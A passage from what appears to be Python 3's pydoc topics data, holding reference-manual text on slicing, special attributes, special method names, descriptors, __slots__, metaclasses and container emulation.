to be false in a Boolean context.\n\nNote: Slicing is done exclusively with the following three methods. A\n call like\n\n a[1:2] = b\n\n is translated to\n\n a[slice(1, 2, None)] = b\n\n and so forth. Missing slice items are always filled in with\n ``None``.\n\nobject.__getitem__(self, key)\n\n Called to implement evaluation of ``self[key]``. For sequence\n types, the accepted keys should be integers and slice objects.\n Note that the special interpretation of negative indexes (if the\n class wishes to emulate a sequence type) is up to the\n ``__getitem__()`` method. If *key* is of an inappropriate type,\n ``TypeError`` may be raised; if of a value outside the set of\n indexes for the sequence (after any special interpretation of\n negative values), ``IndexError`` should be raised. For mapping\n types, if *key* is missing (not in the container), ``KeyError``\n should be raised.\n\n Note: ``for`` loops expect that an ``IndexError`` will be raised for\n illegal indexes to allow proper detection of the end of the\n sequence.\n\nobject.__setitem__(self, key, value)\n\n Called to implement assignment to ``self[key]``. Same note as for\n ``__getitem__()``. This should only be implemented for mappings if\n the objects support changes to the values for keys, or if new keys\n can be added, or for sequences if elements can be replaced. The\n same exceptions should be raised for improper *key* values as for\n the ``__getitem__()`` method.\n\nobject.__delitem__(self, key)\n\n Called to implement deletion of ``self[key]``. Same note as for\n ``__getitem__()``. This should only be implemented for mappings if\n the objects support removal of keys, or for sequences if elements\n can be removed from the sequence. The same exceptions should be\n raised for improper *key* values as for the ``__getitem__()``\n method.\n\nobject.__iter__(self)\n\n This method is called when an iterator is required for a container.\n This method should return a new iterator object that can iterate\n over all the objects in the container. For mappings, it should\n iterate over the keys of the container, and should also be made\n available as the method ``keys()``.\n\n Iterator objects also need to implement this method; they are\n required to return themselves. For more information on iterator\n objects, see *Iterator Types*.\n\nobject.__reversed__(self)\n\n Called (if present) by the ``reversed()`` built-in to implement\n reverse iteration. It should return a new iterator object that\n iterates over all the objects in the container in reverse order.\n\n If the ``__reversed__()`` method is not provided, the\n ``reversed()`` built-in will fall back to using the sequence\n protocol (``__len__()`` and ``__getitem__()``). Objects that\n support the sequence protocol should only provide\n ``__reversed__()`` if they can provide an implementation that is\n more efficient than the one provided by ``reversed()``.\n\nThe membership test operators (``in`` and ``not in``) are normally\nimplemented as an iteration through a sequence. However, container\nobjects can supply the following special method with a more efficient\nimplementation, which also does not require the object be a sequence.\n\nobject.__contains__(self, item)\n\n Called to implement membership test operators. Should return true\n if *item* is in *self*, false otherwise. For mapping objects, this\n should consider the keys of the mapping rather than the values or\n the key-item pairs.\n\n For objects that don't define ``__contains__()``, the membership\n test first tries iteration via ``__iter__()``, then the old\n sequence iteration protocol via ``__getitem__()``, see *this\n section in the language reference*.\n", 'shifting': '\nShifting operations\n*******************\n\nThe shifting operations have lower priority than the arithmetic\noperations:\n\n shift_expr ::= a_expr | shift_expr ( "<<" | ">>" ) a_expr\n\nThese operators accept integers as arguments. They shift the first\nargument to the left or right by the number of bits given by the\nsecond argument.\n\nA right shift by *n* bits is defined as division by ``pow(2,n)``. A\nleft shift by *n* bits is defined as multiplication with ``pow(2,n)``.\n\nNote: In the current implementation, the right-hand operand is required to\n be at most ``sys.maxsize``. If the right-hand operand is larger\n than ``sys.maxsize`` an ``OverflowError`` exception is raised.\n', 'slicings': '\nSlicings\n********\n\nA slicing selects a range of items in a sequence object (e.g., a\nstring, tuple or list). Slicings may be used as expressions or as\ntargets in assignment or ``del`` statements. The syntax for a\nslicing:\n\n slicing ::= primary "[" slice_list "]"\n slice_list ::= slice_item ("," slice_item)* [","]\n slice_item ::= expression | proper_slice\n proper_slice ::= [lower_bound] ":" [upper_bound] [ ":" [stride] ]\n lower_bound ::= expression\n upper_bound ::= expression\n stride ::= expression\n\nThere is ambiguity in the formal syntax here: anything that looks like\nan expression list also looks like a slice list, so any subscription\ncan be interpreted as a slicing. Rather than further complicating the\nsyntax, this is disambiguated by defining that in this case the\ninterpretation as a subscription takes priority over the\ninterpretation as a slicing (this is the case if the slice list\ncontains no proper slice).\n\nThe semantics for a slicing are as follows. The primary must evaluate\nto a mapping object, and it is indexed (using the same\n``__getitem__()`` method as normal subscription) with a key that is\nconstructed from the slice list, as follows. If the slice list\ncontains at least one comma, the key is a tuple containing the\nconversion of the slice items; otherwise, the conversion of the lone\nslice item is the key. The conversion of a slice item that is an\nexpression is that expression. The conversion of a proper slice is a\nslice object (see section *The standard type hierarchy*) whose\n``start``, ``stop`` and ``step`` attributes are the values of the\nexpressions given as lower bound, upper bound and stride,\nrespectively, substituting ``None`` for missing expressions.\n', 'specialattrs': '\nSpecial Attributes\n******************\n\nThe implementation adds a few special read-only attributes to several\nobject types, where they are relevant. Some of these are not reported\nby the ``dir()`` built-in function.\n\nobject.__dict__\n\n A dictionary or other mapping object used to store an object\'s\n (writable) attributes.\n\ninstance.__class__\n\n The class to which a class instance belongs.\n\nclass.__bases__\n\n The tuple of base classes of a class object.\n\nclass.__name__\n\n The name of the class or type.\n\nclass.__qualname__\n\n The *qualified name* of the class or type.\n\n New in version 3.3.\n\nclass.__mro__\n\n This attribute is a tuple of classes that are considered when\n looking for base classes during method resolution.\n\nclass.mro()\n\n This method can be overridden by a metaclass to customize the\n method resolution order for its instances. It is called at class\n instantiation, and its result is stored in ``__mro__``.\n\nclass.__subclasses__()\n\n Each class keeps a list of weak references to its immediate\n subclasses. This method returns a list of all those references\n still alive. Example:\n\n >>> int.__subclasses__()\n [<class \'bool\'>]\n\n-[ Footnotes ]-\n\n[1] Additional information on these special methods may be found in\n the Python Reference Manual (*Basic customization*).\n\n[2] As a consequence, the list ``[1, 2]`` is considered equal to\n ``[1.0, 2.0]``, and similarly for tuples.\n\n[3] They must have since the parser can\'t tell the type of the\n operands.\n\n[4] Cased characters are those with general category property being\n one of "Lu" (Letter, uppercase), "Ll" (Letter, lowercase), or "Lt"\n (Letter, titlecase).\n\n[5] To format only a tuple you should therefore provide a singleton\n tuple whose only element is the tuple to be formatted.\n', 'specialnames': '\nSpecial method names\n********************\n\nA class can implement certain operations that are invoked by special\nsyntax (such as arithmetic operations or subscripting and slicing) by\ndefining methods with special names. This is Python\'s approach to\n*operator overloading*, allowing classes to define their own behavior\nwith respect to language operators. For instance, if a class defines\na method named ``__getitem__()``, and ``x`` is an instance of this\nclass, then ``x[i]`` is roughly equivalent to ``type(x).__getitem__(x,\ni)``. Except where mentioned, attempts to execute an operation raise\nan exception when no appropriate method is defined (typically\n``AttributeError`` or ``TypeError``).\n\nWhen implementing a class that emulates any built-in type, it is\nimportant that the emulation only be implemented to the degree that it\nmakes sense for the object being modelled. For example, some\nsequences may work well with retrieval of individual elements, but\nextracting a slice may not make sense. (One example of this is the\n``NodeList`` interface in the W3C\'s Document Object Model.)\n\n\nBasic customization\n===================\n\nobject.__new__(cls[, ...])\n\n Called to create a new instance of class *cls*. ``__new__()`` is a\n static method (special-cased so you need not declare it as such)\n that takes the class of which an instance was requested as its\n first argument. The remaining arguments are those passed to the\n object constructor expression (the call to the class). The return\n value of ``__new__()`` should be the new object instance (usually\n an instance of *cls*).\n\n Typical implementations create a new instance of the class by\n invoking the superclass\'s ``__new__()`` method using\n ``super(currentclass, cls).__new__(cls[, ...])`` with appropriate\n arguments and then modifying the newly-created instance as\n necessary before returning it.\n\n If ``__new__()`` returns an instance of *cls*, then the new\n instance\'s ``__init__()`` method will be invoked like\n ``__init__(self[, ...])``, where *self* is the new instance and the\n remaining arguments are the same as were passed to ``__new__()``.\n\n If ``__new__()`` does not return an instance of *cls*, then the new\n instance\'s ``__init__()`` method will not be invoked.\n\n ``__new__()`` is intended mainly to allow subclasses of immutable\n types (like int, str, or tuple) to customize instance creation. It\n is also commonly overridden in custom metaclasses in order to\n customize class creation.\n\nobject.__init__(self[, ...])\n\n Called when the instance is created. The arguments are those\n passed to the class constructor expression. If a base class has an\n ``__init__()`` method, the derived class\'s ``__init__()`` method,\n if any, must explicitly call it to ensure proper initialization of\n the base class part of the instance; for example:\n ``BaseClass.__init__(self, [args...])``. As a special constraint\n on constructors, no value may be returned; doing so will cause a\n ``TypeError`` to be raised at runtime.\n\nobject.__del__(self)\n\n Called when the instance is about to be destroyed. This is also\n called a destructor. If a base class has a ``__del__()`` method,\n the derived class\'s ``__del__()`` method, if any, must explicitly\n call it to ensure proper deletion of the base class part of the\n instance. Note that it is possible (though not recommended!) for\n the ``__del__()`` method to postpone destruction of the instance by\n creating a new reference to it. It may then be called at a later\n time when this new reference is deleted. It is not guaranteed that\n ``__del__()`` methods are called for objects that still exist when\n the interpreter exits.\n\n Note: ``del x`` doesn\'t directly call ``x.__del__()`` --- the former\n decrements the reference count for ``x`` by one, and the latter\n is only called when ``x``\'s reference count reaches zero. Some\n common situations that may prevent the reference count of an\n object from going to zero include: circular references between\n objects (e.g., a doubly-linked list or a tree data structure with\n parent and child pointers); a reference to the object on the\n stack frame of a function that caught an exception (the traceback\n stored in ``sys.exc_info()[2]`` keeps the stack frame alive); or\n a reference to the object on the stack frame that raised an\n unhandled exception in interactive mode (the traceback stored in\n ``sys.last_traceback`` keeps the stack frame alive). The first\n situation can only be remedied by explicitly breaking the cycles;\n the latter two situations can be resolved by storing ``None`` in\n ``sys.last_traceback``. Circular references which are garbage are\n detected when the option cycle detector is enabled (it\'s on by\n default), but can only be cleaned up if there are no Python-\n level ``__del__()`` methods involved. Refer to the documentation\n for the ``gc`` module for more information about how\n ``__del__()`` methods are handled by the cycle detector,\n particularly the description of the ``garbage`` value.\n\n Warning: Due to the precarious circumstances under which ``__del__()``\n methods are invoked, exceptions that occur during their execution\n are ignored, and a warning is printed to ``sys.stderr`` instead.\n Also, when ``__del__()`` is invoked in response to a module being\n deleted (e.g., when execution of the program is done), other\n globals referenced by the ``__del__()`` method may already have\n been deleted or in the process of being torn down (e.g. the\n import machinery shutting down). For this reason, ``__del__()``\n methods should do the absolute minimum needed to maintain\n external invariants. Starting with version 1.5, Python\n guarantees that globals whose name begins with a single\n underscore are deleted from their module before other globals are\n deleted; if no other references to such globals exist, this may\n help in assuring that imported modules are still available at the\n time when the ``__del__()`` method is called.\n\nobject.__repr__(self)\n\n Called by the ``repr()`` built-in function to compute the\n "official" string representation of an object. If at all possible,\n this should look like a valid Python expression that could be used\n to recreate an object with the same value (given an appropriate\n environment). If this is not possible, a string of the form\n ``<...some useful description...>`` should be returned. The return\n value must be a string object. If a class defines ``__repr__()``\n but not ``__str__()``, then ``__repr__()`` is also used when an\n "informal" string representation of instances of that class is\n required.\n\n This is typically used for debugging, so it is important that the\n representation is information-rich and unambiguous.\n\nobject.__str__(self)\n\n Called by ``str(object)`` and the built-in functions ``format()``\n and ``print()`` to compute the "informal" or nicely printable\n string representation of an object. The return value must be a\n *string* object.\n\n This method differs from ``object.__repr__()`` in that there is no\n expectation that ``__str__()`` return a valid Python expression: a\n more convenient or concise representation can be used.\n\n The default implementation defined by the built-in type ``object``\n calls ``object.__repr__()``.\n\nobject.__bytes__(self)\n\n Called by ``bytes()`` to compute a byte-string representation of an\n object. This should return a ``bytes`` object.\n\nobject.__format__(self, format_spec)\n\n Called by the ``format()`` built-in function (and by extension, the\n ``str.format()`` method of class ``str``) to produce a "formatted"\n string representation of an object. The ``format_spec`` argument is\n a string that contains a description of the formatting options\n desired. The interpretation of the ``format_spec`` argument is up\n to the type implementing ``__format__()``, however most classes\n will either delegate formatting to one of the built-in types, or\n use a similar formatting option syntax.\n\n See *Format Specification Mini-Language* for a description of the\n standard formatting syntax.\n\n The return value must be a string object.\n\nobject.__lt__(self, other)\nobject.__le__(self, other)\nobject.__eq__(self, other)\nobject.__ne__(self, other)\nobject.__gt__(self, other)\nobject.__ge__(self, other)\n\n These are the so-called "rich comparison" methods. The\n correspondence between operator symbols and method names is as\n follows: ``x<y`` calls ``x.__lt__(y)``, ``x<=y`` calls\n ``x.__le__(y)``, ``x==y`` calls ``x.__eq__(y)``, ``x!=y`` calls\n ``x.__ne__(y)``, ``x>y`` calls ``x.__gt__(y)``, and ``x>=y`` calls\n ``x.__ge__(y)``.\n\n A rich comparison method may return the singleton\n ``NotImplemented`` if it does not implement the operation for a\n given pair of arguments. By convention, ``False`` and ``True`` are\n returned for a successful comparison. However, these methods can\n return any value, so if the comparison operator is used in a\n Boolean context (e.g., in the condition of an ``if`` statement),\n Python will call ``bool()`` on the value to determine if the result\n is true or false.\n\n There are no implied relationships among the comparison operators.\n The truth of ``x==y`` does not imply that ``x!=y`` is false.\n Accordingly, when defining ``__eq__()``, one should also define\n ``__ne__()`` so that the operators will behave as expected. See\n the paragraph on ``__hash__()`` for some important notes on\n creating *hashable* objects which support custom comparison\n operations and are usable as dictionary keys.\n\n There are no swapped-argument versions of these methods (to be used\n when the left argument does not support the operation but the right\n argument does); rather, ``__lt__()`` and ``__gt__()`` are each\n other\'s reflection, ``__le__()`` and ``__ge__()`` are each other\'s\n reflection, and ``__eq__()`` and ``__ne__()`` are their own\n reflection.\n\n Arguments to rich comparison methods are never coerced.\n\n To automatically generate ordering operations from a single root\n operation, see ``functools.total_ordering()``.\n\nobject.__hash__(self)\n\n Called by built-in function ``hash()`` and for operations on\n members of hashed collections including ``set``, ``frozenset``, and\n ``dict``. ``__hash__()`` should return an integer. The only\n required property is that objects which compare equal have the same\n hash value; it is advised to somehow mix together (e.g. using\n exclusive or) the hash values for the components of the object that\n also play a part in comparison of objects.\n\n If a class does not define an ``__eq__()`` method it should not\n define a ``__hash__()`` operation either; if it defines\n ``__eq__()`` but not ``__hash__()``, its instances will not be\n usable as items in hashable collections. If a class defines\n mutable objects and implements an ``__eq__()`` method, it should\n not implement ``__hash__()``, since the implementation of hashable\n collections requires that a key\'s hash value is immutable (if the\n object\'s hash value changes, it will be in the wrong hash bucket).\n\n User-defined classes have ``__eq__()`` and ``__hash__()`` methods\n by default; with them, all objects compare unequal (except with\n themselves) and ``x.__hash__()`` returns an appropriate value such\n that ``x == y`` implies both that ``x is y`` and ``hash(x) ==\n hash(y)``.\n\n A class that overrides ``__eq__()`` and does not define\n ``__hash__()`` will have its ``__hash__()`` implicitly set to\n ``None``. When the ``__hash__()`` method of a class is ``None``,\n instances of the class will raise an appropriate ``TypeError`` when\n a program attempts to retrieve their hash value, and will also be\n correctly identified as unhashable when checking ``isinstance(obj,\n collections.Hashable``).\n\n If a class that overrides ``__eq__()`` needs to retain the\n implementation of ``__hash__()`` from a parent class, the\n interpreter must be told this explicitly by setting ``__hash__ =\n <ParentClass>.__hash__``.\n\n If a class that does not override ``__eq__()`` wishes to suppress\n hash support, it should include ``__hash__ = None`` in the class\n definition. A class which defines its own ``__hash__()`` that\n explicitly raises a ``TypeError`` would be incorrectly identified\n as hashable by an ``isinstance(obj, collections.Hashable)`` call.\n\n Note: By default, the ``__hash__()`` values of str, bytes and datetime\n objects are "salted" with an unpredictable random value.\n Although they remain constant within an individual Python\n process, they are not predictable between repeated invocations of\n Python.This is intended to provide protection against a denial-\n of-service caused by carefully-chosen inputs that exploit the\n worst case performance of a dict insertion, O(n^2) complexity.\n See http://www.ocert.org/advisories/ocert-2011-003.html for\n details.Changing hash values affects the iteration order of\n dicts, sets and other mappings. Python has never made guarantees\n about this ordering (and it typically varies between 32-bit and\n 64-bit builds).See also ``PYTHONHASHSEED``.\n\n Changed in version 3.3: Hash randomization is enabled by default.\n\nobject.__bool__(self)\n\n Called to implement truth value testing and the built-in operation\n ``bool()``; should return ``False`` or ``True``. When this method\n is not defined, ``__len__()`` is called, if it is defined, and the\n object is considered true if its result is nonzero. If a class\n defines neither ``__len__()`` nor ``__bool__()``, all its instances\n are considered true.\n\n\nCustomizing attribute access\n============================\n\nThe following methods can be defined to customize the meaning of\nattribute access (use of, assignment to, or deletion of ``x.name``)\nfor class instances.\n\nobject.__getattr__(self, name)\n\n Called when an attribute lookup has not found the attribute in the\n usual places (i.e. it is not an instance attribute nor is it found\n in the class tree for ``self``). ``name`` is the attribute name.\n This method should return the (computed) attribute value or raise\n an ``AttributeError`` exception.\n\n Note that if the attribute is found through the normal mechanism,\n ``__getattr__()`` is not called. (This is an intentional asymmetry\n between ``__getattr__()`` and ``__setattr__()``.) This is done both\n for efficiency reasons and because otherwise ``__getattr__()``\n would have no way to access other attributes of the instance. Note\n that at least for instance variables, you can fake total control by\n not inserting any values in the instance attribute dictionary (but\n instead inserting them in another object). See the\n ``__getattribute__()`` method below for a way to actually get total\n control over attribute access.\n\nobject.__getattribute__(self, name)\n\n Called unconditionally to implement attribute accesses for\n instances of the class. If the class also defines\n ``__getattr__()``, the latter will not be called unless\n ``__getattribute__()`` either calls it explicitly or raises an\n ``AttributeError``. This method should return the (computed)\n attribute value or raise an ``AttributeError`` exception. In order\n to avoid infinite recursion in this method, its implementation\n should always call the base class method with the same name to\n access any attributes it needs, for example,\n ``object.__getattribute__(self, name)``.\n\n Note: This method may still be bypassed when looking up special methods\n as the result of implicit invocation via language syntax or\n built-in functions. See *Special method lookup*.\n\nobject.__setattr__(self, name, value)\n\n Called when an attribute assignment is attempted. This is called\n instead of the normal mechanism (i.e. store the value in the\n instance dictionary). *name* is the attribute name, *value* is the\n value to be assigned to it.\n\n If ``__setattr__()`` wants to assign to an instance attribute, it\n should call the base class method with the same name, for example,\n ``object.__setattr__(self, name, value)``.\n\nobject.__delattr__(self, name)\n\n Like ``__setattr__()`` but for attribute deletion instead of\n assignment. This should only be implemented if ``del obj.name`` is\n meaningful for the object.\n\nobject.__dir__(self)\n\n Called when ``dir()`` is called on the object. A sequence must be\n returned. ``dir()`` converts the returned sequence to a list and\n sorts it.\n\n\nImplementing Descriptors\n------------------------\n\nThe following methods only apply when an instance of the class\ncontaining the method (a so-called *descriptor* class) appears in an\n*owner* class (the descriptor must be in either the owner\'s class\ndictionary or in the class dictionary for one of its parents). In the\nexamples below, "the attribute" refers to the attribute whose name is\nthe key of the property in the owner class\' ``__dict__``.\n\nobject.__get__(self, instance, owner)\n\n Called to get the attribute of the owner class (class attribute\n access) or of an instance of that class (instance attribute\n access). *owner* is always the owner class, while *instance* is the\n instance that the attribute was accessed through, or ``None`` when\n the attribute is accessed through the *owner*. This method should\n return the (computed) attribute value or raise an\n ``AttributeError`` exception.\n\nobject.__set__(self, instance, value)\n\n Called to set the attribute on an instance *instance* of the owner\n class to a new value, *value*.\n\nobject.__delete__(self, instance)\n\n Called to delete the attribute on an instance *instance* of the\n owner class.\n\n\nInvoking Descriptors\n--------------------\n\nIn general, a descriptor is an object attribute with "binding\nbehavior", one whose attribute access has been overridden by methods\nin the descriptor protocol: ``__get__()``, ``__set__()``, and\n``__delete__()``. If any of those methods are defined for an object,\nit is said to be a descriptor.\n\nThe default behavior for attribute access is to get, set, or delete\nthe attribute from an object\'s dictionary. For instance, ``a.x`` has a\nlookup chain starting with ``a.__dict__[\'x\']``, then\n``type(a).__dict__[\'x\']``, and continuing through the base classes of\n``type(a)`` excluding metaclasses.\n\nHowever, if the looked-up value is an object defining one of the\ndescriptor methods, then Python may override the default behavior and\ninvoke the descriptor method instead. Where this occurs in the\nprecedence chain depends on which descriptor methods were defined and\nhow they were called.\n\nThe starting point for descriptor invocation is a binding, ``a.x``.\nHow the arguments are assembled depends on ``a``:\n\nDirect Call\n The simplest and least common call is when user code directly\n invokes a descriptor method: ``x.__get__(a)``.\n\nInstance Binding\n If binding to an object instance, ``a.x`` is transformed into the\n call: ``type(a).__dict__[\'x\'].__get__(a, type(a))``.\n\nClass Binding\n If binding to a class, ``A.x`` is transformed into the call:\n ``A.__dict__[\'x\'].__get__(None, A)``.\n\nSuper Binding\n If ``a`` is an instance of ``super``, then the binding ``super(B,\n obj).m()`` searches ``obj.__class__.__mro__`` for the base class\n ``A`` immediately preceding ``B`` and then invokes the descriptor\n with the call: ``A.__dict__[\'m\'].__get__(obj, obj.__class__)``.\n\nFor instance bindings, the precedence of descriptor invocation depends\non the which descriptor methods are defined. A descriptor can define\nany combination of ``__get__()``, ``__set__()`` and ``__delete__()``.\nIf it does not define ``__get__()``, then accessing the attribute will\nreturn the descriptor object itself unless there is a value in the\nobject\'s instance dictionary. If the descriptor defines ``__set__()``\nand/or ``__delete__()``, it is a data descriptor; if it defines\nneither, it is a non-data descriptor. Normally, data descriptors\ndefine both ``__get__()`` and ``__set__()``, while non-data\ndescriptors have just the ``__get__()`` method. Data descriptors with\n``__set__()`` and ``__get__()`` defined always override a redefinition\nin an instance dictionary. In contrast, non-data descriptors can be\noverridden by instances.\n\nPython methods (including ``staticmethod()`` and ``classmethod()``)\nare implemented as non-data descriptors. Accordingly, instances can\nredefine and override methods. This allows individual instances to\nacquire behaviors that differ from other instances of the same class.\n\nThe ``property()`` function is implemented as a data descriptor.\nAccordingly, instances cannot override the behavior of a property.\n\n\n__slots__\n---------\n\nBy default, instances of classes have a dictionary for attribute\nstorage. This wastes space for objects having very few instance\nvariables. The space consumption can become acute when creating large\nnumbers of instances.\n\nThe default can be overridden by defining *__slots__* in a class\ndefinition. The *__slots__* declaration takes a sequence of instance\nvariables and reserves just enough space in each instance to hold a\nvalue for each variable. Space is saved because *__dict__* is not\ncreated for each instance.\n\nobject.__slots__\n\n This class variable can be assigned a string, iterable, or sequence\n of strings with variable names used by instances. If defined in a\n class, *__slots__* reserves space for the declared variables and\n prevents the automatic creation of *__dict__* and *__weakref__* for\n each instance.\n\n\nNotes on using *__slots__*\n~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n* When inheriting from a class without *__slots__*, the *__dict__*\n attribute of that class will always be accessible, so a *__slots__*\n definition in the subclass is meaningless.\n\n* Without a *__dict__* variable, instances cannot be assigned new\n variables not listed in the *__slots__* definition. Attempts to\n assign to an unlisted variable name raises ``AttributeError``. If\n dynamic assignment of new variables is desired, then add\n ``\'__dict__\'`` to the sequence of strings in the *__slots__*\n declaration.\n\n* Without a *__weakref__* variable for each instance, classes defining\n *__slots__* do not support weak references to its instances. If weak\n reference support is needed, then add ``\'__weakref__\'`` to the\n sequence of strings in the *__slots__* declaration.\n\n* *__slots__* are implemented at the class level by creating\n descriptors (*Implementing Descriptors*) for each variable name. As\n a result, class attributes cannot be used to set default values for\n instance variables defined by *__slots__*; otherwise, the class\n attribute would overwrite the descriptor assignment.\n\n* The action of a *__slots__* declaration is limited to the class\n where it is defined. As a result, subclasses will have a *__dict__*\n unless they also define *__slots__* (which must only contain names\n of any *additional* slots).\n\n* If a class defines a slot also defined in a base class, the instance\n variable defined by the base class slot is inaccessible (except by\n retrieving its descriptor directly from the base class). This\n renders the meaning of the program undefined. In the future, a\n check may be added to prevent this.\n\n* Nonempty *__slots__* does not work for classes derived from\n "variable-length" built-in types such as ``int``, ``str`` and\n ``tuple``.\n\n* Any non-string iterable may be assigned to *__slots__*. Mappings may\n also be used; however, in the future, special meaning may be\n assigned to the values corresponding to each key.\n\n* *__class__* assignment works only if both classes have the same\n *__slots__*.\n\n\nCustomizing class creation\n==========================\n\nBy default, classes are constructed using ``type()``. The class body\nis executed in a new namespace and the class name is bound locally to\nthe result of ``type(name, bases, namespace)``.\n\nThe class creation process can be customised by passing the\n``metaclass`` keyword argument in the class definition line, or by\ninheriting from an existing class that included such an argument. In\nthe following example, both ``MyClass`` and ``MySubclass`` are\ninstances of ``Meta``:\n\n class Meta(type):\n pass\n\n class MyClass(metaclass=Meta):\n pass\n\n class MySubclass(MyClass):\n pass\n\nAny other keyword arguments that are specified in the class definition\nare passed through to all metaclass operations described below.\n\nWhen a class definition is executed, the following steps occur:\n\n* the appropriate metaclass is determined\n\n* the class namespace is prepared\n\n* the class body is executed\n\n* the class object is created\n\n\nDetermining the appropriate metaclass\n-------------------------------------\n\nThe appropriate metaclass for a class definition is determined as\nfollows:\n\n* if no bases and no explicit metaclass are given, then ``type()`` is\n used\n\n* if an explicit metaclass is given and it is *not* an instance of\n ``type()``, then it is used directly as the metaclass\n\n* if an instance of ``type()`` is given as the explicit metaclass, or\n bases are defined, then the most derived metaclass is used\n\nThe most derived metaclass is selected from the explicitly specified\nmetaclass (if any) and the metaclasses (i.e. ``type(cls)``) of all\nspecified base classes. The most derived metaclass is one which is a\nsubtype of *all* of these candidate metaclasses. If none of the\ncandidate metaclasses meets that criterion, then the class definition\nwill fail with ``TypeError``.\n\n\nPreparing the class namespace\n-----------------------------\n\nOnce the appropriate metaclass has been identified, then the class\nnamespace is prepared. If the metaclass has a ``__prepare__``\nattribute, it is called as ``namespace = metaclass.__prepare__(name,\nbases, **kwds)`` (where the additional keyword arguments, if any, come\nfrom the class definition).\n\nIf the metaclass has no ``__prepare__`` attribute, then the class\nnamespace is initialised as an empty ``dict()`` instance.\n\nSee also:\n\n **PEP 3115** - Metaclasses in Python 3000\n Introduced the ``__prepare__`` namespace hook\n\n\nExecuting the class body\n------------------------\n\nThe class body is executed (approximately) as ``exec(body, globals(),\nnamespace)``. The key difference from a normal call to ``exec()`` is\nthat lexical scoping allows the class body (including any methods) to\nreference names from the current and outer scopes when the class\ndefinition occurs inside a function.\n\nHowever, even when the class definition occurs inside the function,\nmethods defined inside the class still cannot see names defined at the\nclass scope. Class variables must be accessed through the first\nparameter of instance or class methods, and cannot be accessed at all\nfrom static methods.\n\n\nCreating the class object\n-------------------------\n\nOnce the class namespace has been populated by executing the class\nbody, the class object is created by calling ``metaclass(name, bases,\nnamespace, **kwds)`` (the additional keywords passed here are the same\nas those passed to ``__prepare__``).\n\nThis class object is the one that will be referenced by the zero-\nargument form of ``super()``. ``__class__`` is an implicit closure\nreference created by the compiler if any methods in a class body refer\nto either ``__class__`` or ``super``. This allows the zero argument\nform of ``super()`` to correctly identify the class being defined\nbased on lexical scoping, while the class or instance that was used to\nmake the current call is identified based on the first argument passed\nto the method.\n\nAfter the class object is created, it is passed to the class\ndecorators included in the class definition (if any) and the resulting\nobject is bound in the local namespace as the defined class.\n\nSee also:\n\n **PEP 3135** - New super\n Describes the implicit ``__class__`` closure reference\n\n\nMetaclass example\n-----------------\n\nThe potential uses for metaclasses are boundless. Some ideas that have\nbeen explored include logging, interface checking, automatic\ndelegation, automatic property creation, proxies, frameworks, and\nautomatic resource locking/synchronization.\n\nHere is an example of a metaclass that uses an\n``collections.OrderedDict`` to remember the order that class members\nwere defined:\n\n class OrderedClass(type):\n\n @classmethod\n def __prepare__(metacls, name, bases, **kwds):\n return collections.OrderedDict()\n\n def __new__(cls, name, bases, namespace, **kwds):\n result = type.__new__(cls, name, bases, dict(namespace))\n result.members = tuple(namespace)\n return result\n\n class A(metaclass=OrderedClass):\n def one(self): pass\n def two(self): pass\n def three(self): pass\n def four(self): pass\n\n >>> A.members\n (\'__module__\', \'one\', \'two\', \'three\', \'four\')\n\nWhen the class definition for *A* gets executed, the process begins\nwith calling the metaclass\'s ``__prepare__()`` method which returns an\nempty ``collections.OrderedDict``. That mapping records the methods\nand attributes of *A* as they are defined within the body of the class\nstatement. Once those definitions are executed, the ordered dictionary\nis fully populated and the metaclass\'s ``__new__()`` method gets\ninvoked. That method builds the new type and it saves the ordered\ndictionary keys in an attribute called ``members``.\n\n\nCustomizing instance and subclass checks\n========================================\n\nThe following methods are used to override the default behavior of the\n``isinstance()`` and ``issubclass()`` built-in functions.\n\nIn particular, the metaclass ``abc.ABCMeta`` implements these methods\nin order to allow the addition of Abstract Base Classes (ABCs) as\n"virtual base classes" to any class or type (including built-in\ntypes), including other ABCs.\n\nclass.__instancecheck__(self, instance)\n\n Return true if *instance* should be considered a (direct or\n indirect) instance of *class*. If defined, called to implement\n ``isinstance(instance, class)``.\n\nclass.__subclasscheck__(self, subclass)\n\n Return true if *subclass* should be considered a (direct or\n indirect) subclass of *class*. If defined, called to implement\n ``issubclass(subclass, class)``.\n\nNote that these methods are looked up on the type (metaclass) of a\nclass. They cannot be defined as class methods in the actual class.\nThis is consistent with the lookup of special methods that are called\non instances, only in this case the instance is itself a class.\n\nSee also:\n\n **PEP 3119** - Introducing Abstract Base Classes\n Includes the specification for customizing ``isinstance()`` and\n ``issubclass()`` behavior through ``__instancecheck__()`` and\n ``__subclasscheck__()``, with motivation for this functionality\n in the context of adding Abstract Base Classes (see the ``abc``\n module) to the language.\n\n\nEmulating callable objects\n==========================\n\nobject.__call__(self[, args...])\n\n Called when the instance is "called" as a function; if this method\n is defined, ``x(arg1, arg2, ...)`` is a shorthand for\n ``x.__call__(arg1, arg2, ...)``.\n\n\nEmulating container types\n=========================\n\nThe following methods can be defined to implement container objects.\nContainers usually are sequences (such as lists or tuples) or mappings\n(like dictionaries), but can represent other containers as well. The\nfirst set of methods is used either to emulate a sequence or to\nemulate a mapping; the difference is that for a sequence, the\nallowable keys should be the integers *k* for which ``0 <= k < N``\nwhere *N* is the length of the sequence, or slice objects, which\ndefine a range of items. It is also recommended that mappings provide\nthe methods ``keys()``, ``values()``, ``items()``, ``get()``,\n``clear()``, ``setdefault()``, ``pop()``, ``popitem()``, ``copy()``,\nand ``update()`` behaving similar to those for Python\'s standard\ndictionary objects. The ``collections`` module provides a\n``MutableMapping`` abstract base class to help create those methods\nfrom a base set of ``__getitem__()``, ``__setitem__()``,\n``__delitem__()``, and ``keys()``. Mutable sequences should provide\nmethods ``append()``, ``count()``, ``index()``, ``extend()``,\n``insert()``, ``pop()``, ``remove()``, ``reverse()`` and ``sort()``,\nlike Python standard list objects. Finally, sequence types should\nimplement addition (meaning concatenation) and multiplication (meaning\nrepetition) by defining the methods ``__add__()``, ``__radd__()``,\n``__iadd__()``, ``__mul__()``, ``__rmul__()`` and ``__imul__()``\ndescribed below; they should not define other numerical operators. It\nis recommended that both mappings and sequences implement the\n``__contains__()`` method to allow efficient use of the ``in``\noperator; for mappings, ``in`` should search the mapping\'s keys; for\nsequences, it should search through the values. It is further\nrecommended that both mappings and sequences implement the\n``__iter__()`` method to allow efficient iteration through the\ncontainer; for mappings, ``__iter__()`` should be the same as\n``keys()``; for sequences, it should iterate through the values.\n\nobject.__len__(self)\n\n Called to implement the built-in function ``len()``. Should return\n the length of the object, an integer ``>=`` 0. Also, an object\n that 